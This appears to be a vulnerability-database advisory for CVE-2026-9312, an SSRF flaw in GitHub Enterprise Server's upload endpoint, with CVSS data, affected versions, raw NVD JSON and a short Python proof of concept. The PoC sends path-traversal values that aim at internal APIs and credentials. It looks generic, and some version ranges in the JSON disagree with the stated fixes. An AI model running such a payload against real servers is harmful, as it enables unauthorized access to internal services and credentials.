Security Vulnerability Report
中文
CVE-2026-9312 CVSS 8.2 HIGH

CVE-2026-9312

Published: 2026-05-27 00:16:39
Last Modified: 2026-06-02 18:31:16

Description

A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to send crafted requests to internal services by exploiting insufficient input validation in an upload endpoint. By injecting path traversal content into request parameters, an attacker could bypass the intended request flow and redirect internal API calls, potentially accessing internal services and exposing sensitive credentials. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.22 and was fixed in versions 3.16.20, 3.17.17, 3.18.11, 3.19.8, 3.20.4, and 3.21.1. This vulnerability was reported via the GitHub Bug Bounty program.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
GitHub Enterprise Server < 3.16.20
GitHub Enterprise Server < 3.17.17
GitHub Enterprise Server < 3.18.11
GitHub Enterprise Server < 3.19.8
GitHub Enterprise Server < 3.20.4
GitHub Enterprise Server < 3.21.1
GitHub Enterprise Server 3.16.x < 3.16.20
GitHub Enterprise Server 3.17.x < 3.17.17
GitHub Enterprise Server 3.18.x < 3.18.11
GitHub Enterprise Server 3.19.x < 3.19.8
GitHub Enterprise Server 3.20.x < 3.20.4
GitHub Enterprise Server 3.21.x < 3.21.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9312 SSRF PoC # Target: GitHub Enterprise Server < 3.22 # Attack: Path traversal to access internal services import requests import urllib.parse TARGET_URL = "https://vulnerable-github-enterprise.com" def exploit_ssrf(): """Exploit SSRF via path traversal in upload endpoint""" # Malicious path with traversal sequences internal_path = "../../../internal/api/v2/users" # Construct the exploit request exploit_url = f"{TARGET_URL}/upload" # Payload with path traversal payload = { "file": ("malicious.txt", "test content", "text/plain"), "path": internal_path, "name": "../../internal/credentials" } try: # Send crafted request response = requests.post(exploit_url, files=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200: print("[+] SSRF successful - internal service accessed") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_ssrf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9312", "sourceIdentifier": "[email protected]", "published": "2026-05-27T00:16:39.020", "lastModified": "2026-06-02T18:31:15.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to send crafted requests to internal services by exploiting insufficient input validation in an upload endpoint. By injecting path traversal content into request parameters, an attacker could bypass the intended request flow and redirect internal API calls, potentially accessing internal services and exposing sensitive credentials. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.22 and was fixed in versions 3.16.20, 3.17.17, 3.18.11, 3.19.8, 3.20.4, and 3.21.1. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.0", "versionEndExcluding": "3.16.19", "matchCriteriaId": "5E49E067-C9D1-4F1C-A2CF-07FE4BF914C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.17.16", "matchCriteriaId": "5FBFDB4E-1878-499C-9D00-52E9C074F3C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.0", "versionEndExcluding": "3.18.10", "matchCriteriaId": "B3D5BD25-0F18-4915-9399-D42302247396"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.0", "versionEndExcluding": "3.19.7", "matchCriteriaId": "4FF939CE-B42A-4091-ACF0-AF80FFBFDC25"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.20.0", "versionEndExcluding": "3.20.3", "matchCriteriaId": "BA3298CD-3841-491D-8056-7AC03FC6473F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:3.21.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "E414D970-938C-4D0A-8457-EC880C2B6282"}]}]}], "references": [{"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.16.20", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.17.17", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.18.11", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://docs.github.com/en/[email protected]/a ... (truncated)